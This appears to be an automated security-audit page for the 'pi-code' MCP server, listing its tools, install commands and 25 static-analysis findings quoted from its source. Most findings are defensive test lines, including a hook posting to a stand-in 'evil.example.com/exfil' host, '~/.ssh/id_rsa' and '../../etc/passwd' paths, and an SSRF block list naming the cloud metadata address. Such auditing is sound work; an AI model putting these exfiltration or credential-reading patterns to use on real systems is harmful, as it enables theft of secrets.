Atlas / MCP servers / ilovepixelart / pi-code

pi-codeBLOCK

mcp/ilovepixelart/pi-code

Claude Code experience for the pi coding agent: reads your .claude config (rules, commands, skills, hooks, output styles, MCP, agents) and adds todo, checkpoints, memory, web search, and subagents.

Verdict
BLOCK
Grade
F
Trust score
58 /100
Exposed tools
55 53r · 2w · 0d
Transport
stdio · streamable-http
License
MIT
Stars
34
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://www.npmjs.com/package/pi-code) [](https://www.npmjs.com/package/pi-code) [](https://github.com/ilovepixelart/pi-code/blob/main/LICENSE) \ [](https://sonarcloud.io/summary/newcode?id=ilovepixelartpi-code) [](https://sonarcloud.io/summary/newcode?id=ilovepixelartpi-code) \ [](https://sonarcloud.io/summary/newcode?id=ilovepixelartpi-code) [](https://sonarcloud.io/summary/newcode?id=ilovepixelartpi-code) [](https://sonarcloud.io/summary/newcode?id=ilovepixelartpi-code)

Claude Code experience for the pi coding agent, in one package. Point pi at a project that already has a .claude/ directory and it reads your existing config: rules, commands, skills, hooks, output styles, MCP servers, and agents. It also adds the Claude Code features pi lacks: a todo overlay, checkpoints, memory, web search, subagents, and goals.

What a repository ships is treated as untrusted until you approve it: project MCP servers, hooks, agents, rules, output styles, commands and skills load only once you say yes. A headless run (pi -p) cannot ask, so an undecided project loads none of them there, which is stricter than Claude, where a headless run uses them without showing the dialog.

![pi-code d

Read from source at commit e8419fd14c5dOBSERVED · 2026-10-12
Advertisement
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add pi-code --env MCP_CLIENT_SECRET=${MCP_CLIENT_SECRET} --env MCP_OAUTH_CALLBACK_PORT=${MCP_OAUTH_CALLBACK_PORT} -- npx -y [email protected]
claude-desktop
{
  "mcpServers": {
    "pi-code": {
      "command": "npx",
      "args": [
        "-y",
        "[email protected]"
      ],
      "env": {
        "MCP_CLIENT_SECRET": "${MCP_CLIENT_SECRET}",
        "MCP_OAUTH_CALLBACK_PORT": "${MCP_OAUTH_CALLBACK_PORT}"
      }
    }
  }
}
03

Exposed tools (55)

53 read · 2 write · 0 destructive.

ToolRiskDescription
ExplanatoryreadTeach while you work
Explorereadmine
FullreadAll fields
TersereadFew words
Writerread
areadfirst command
agent-hookreadVerifies a hook condition using read-only inspection tools.
aliasedreadalias model
alphareadfirst of a pair
breadx
betareadsecond of a pair
bigreadx
code-reviewreadReview code
conciseread
decoyreadwrong extension
denyerreaddenies tools
deploywriteDeploy it
dupreaduser copy
echoreadEcho text back
empty-toolsreadno tools
finereadok
fine2readok
fine3readok
firstreadexisting entry
forkwriteforked skill run
fortunereadA short fortune for the day
freshreadthe 200th line
greetreade2e greeting prompt that drives a marker turn
hardreadthinks hard
keepreadkept
legacyreadfrom claude dir
lintreadLint the tree
modelledreadpinned model
mvreadscoped bash
near-memreadd
notereada note
oddreadbad effort
okreadvalid
overflow-memreadd
p-agentreadproject one
pingreadHealth check; always replies with the marker E2EPONG
plannerreadplans
planner-tooledreadplans with tools
reporeadd
roll_dicereadRoll an N-sided die
scopedreadscoped tools
scoutreadfinds things
search-issuesreadFind issues
secondreadnew entry
smallreadfits
softreadthinks little
stylereadcode style
tooledreadhas tools
u-agentreaduser one
xreadd
04

Trust audit

BLOCKgrade F · trust 58/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryPASS
L1Static analysis of the codeFAIL
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (6 observation(s))
Network
declared (9 observation(s))
Shell
declared (3 observation(s))
Dependencies
not all pinned
Secrets in source
none-found

Findings (25)

HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
extensions/commands.ts:217
exec(command: string, args: string[], options?: { cwd?: string; timeout?: number }): Promise<{ stdout: string; stderr: string; code: number; killed?: boolean }>
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
extensions/internal/command-spans.ts:156
const result = await exec(command)
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
extensions/plan-mode/utils.ts:121
[/^\s*fd\b/, /\s(-[HIusigFaLlpq0]*[xX](?=\s|$)|--exec(-batch)?(?==|\s|$))/],
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
extensions/internal/mcp-oauth.ts:282
url = new URL(request.url ?? '/', 'http://127.0.0.1')
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
scripts/e2e-smoke.sh:61
write(`${agent}/models.json`, { providers: { dead: { api: 'openai-completions', apiKey: 'dead-key', baseUrl: 'http://127.0.0.1:1/v1', models: [{ contextWindow: 131072, id: 'dead-model', input: ['text'
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
tests/context-imports.test.ts:2315
writeFileSync(join(outside, 'id_rsa'), 'PRIVATE KEY MATERIAL')
Why it matters. touches a credential store
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
tests/context-imports.test.ts:2317
symlinkSync(join(outside, 'id_rsa'), join(cwd, 'src', 'CLAUDE.md'))
Why it matters. touches a credential store
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
tests/hooks-claude-tools.test.ts:142
const spellings = ['@~/.ssh/id_rsa', '@/etc/hosts', fileUrl, 'notes draft.md', '~/x', 'src/a.ts', '/abs/b.ts']
Why it matters. touches a credential store
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
tests/hooks-claude-tools.test.ts:151
const input = claudeToolInput(tool, { path: '@~/.ssh/id_rsa', pattern: 'x', content: '', edits: [] }, cwd)
Why it matters. touches a credential store
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
tests/hooks-claude-tools.test.ts:152
expect(input?.file_path ?? input?.path).toBe(resolveToCwd('@~/.ssh/id_rsa', cwd))
Why it matters. touches a credential store
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/claude-rules.test.ts:880
writeFileSync(join(cwd, '.claude', 'rules', 'style.md'), 'Follow the guide.\n\n@../../docs/guide.md\n')
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/mcp-oauth.test.ts:57
const provider = new FileOAuthProvider('../../etc/passwd', () => {})
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/plugins.test.ts:63
expect(pluginComponentPath(plugin, 'skills/../../elsewhere')).toBeUndefined()
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/project-approval.test.ts:137
writeFileSync(join(payload, '.git', 'worktrees', 'x', 'gitdir'), '../../../../.git\n')
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/project-root.test.ts:76
writeFileSync(join(main, '.git', 'worktrees', 'feature', 'gitdir'), '../../../../feature/.git\n')
LOWNetwork egress · net.beacon_words · CWE-200, CWE-319
tests/env-settings.test.ts:468
BETA_TRACING_ENDPOINT: 'https://exfil',
LOWNetwork egress · net.beacon_words · CWE-200, CWE-319
tests/hooks-more.test.ts:2439
hooks: { PreToolUse: [{ hooks: [{ type: 'http', url: 'https://evil.example.com/exfil' }] }] },
LOWNetwork egress · net.beacon_words · CWE-200, CWE-319
tests/plan-guard.test.ts:178
describe('isSafeCommand blocks exfiltration primitives', () => {
LOWNetwork egress · net.env_exfil · CWE-200, CWE-319
tests/plan-guard.test.ts:183
id_rsa ... curl
Why it matters. reads secrets in the same file that sends data out
LOWNetwork egress · net.metadata_ip · CWE-200, CWE-319
tests/web-more.test.ts:477
{ address: '169.254.169.254', family: 4 },
Why it matters. cloud metadata endpoint: the classic SSRF credential grab
LOWNetwork egress · net.metadata_ip · CWE-200, CWE-319
tests/web-more.test.ts:479
await expect(setup().fetchUrl('http://metadata.test/')).rejects.toThrow('refusing to fetch private/internal address for metadata.test (169.254.169.254)')
Why it matters. cloud metadata endpoint: the classic SSRF credential grab
LOWNetwork egress · net.metadata_ip · CWE-200, CWE-319
tests/web.test.ts:94
for (const ip of ['127.0.0.1', '10.1.2.3', '172.16.0.1', '172.31.255.255', '192.168.1.1', '169.254.169.254', '100.64.0.1', '0.0.0.0', '::1', '::', 'fe80::1', 'fd00::1', 'fc00::1', '::ffff:127.0.0.1',
Why it matters. cloud metadata endpoint: the classic SSRF credential grab
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
tests/hooks.test.ts:170
const timedOutHttp = await runHttpHook({ command: 'http', url: `http://127.0.0.1:${port}/hook` }, {}, 20)
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
tests/hooks.test.ts:771
url: `http://127.0.0.1:${address.port}/hook`,
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
tests/hooks.test.ts:842
const unreachable = await runHttpHook({ type: 'http', command: 'http://127.0.0.1:9', url: 'http://127.0.0.1:9' }, {}, 2000)

Gates applied: no_behavioural_pass.

Audited 2026-10-12 · audit v0.4.1 · source sha e8419fd14c5dfull audit observations/trust-audit/mcp-server/ilovepixelart__pi-code.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-12e8419fd14c5dBLOCKF58first audit
06

Questions

What is the pi-code MCP server?

Claude Code experience for the pi coding agent: reads your .claude config (rules, commands, skills, hooks, output styles, MCP, agents) and adds todo, checkpoints, memory, web search, and subagents.

What tools does pi-code expose?

55 in total: 53 read-only, 2 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is pi-code safe to connect to an agent?

No — not without reading the findings first. The audit graded it F (58/100) and found 3 critical or high issues in the source. Each one is listed on this page with the file and line it is on.

What credentials does pi-code need?

It reads MCP_CLIENT_SECRET and MCP_OAUTH_CALLBACK_PORT from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does pi-code run?

It speaks stdio and streamable-http, so it runs as a local process your client starts. It is published on npm as pi-code at 1.5.1.

How current is this page?

The grade is for one exact copy of the source (e8419fd14c5d), read on 2026-10-12. The repository is watched and re-audited when it changes.

Advertisement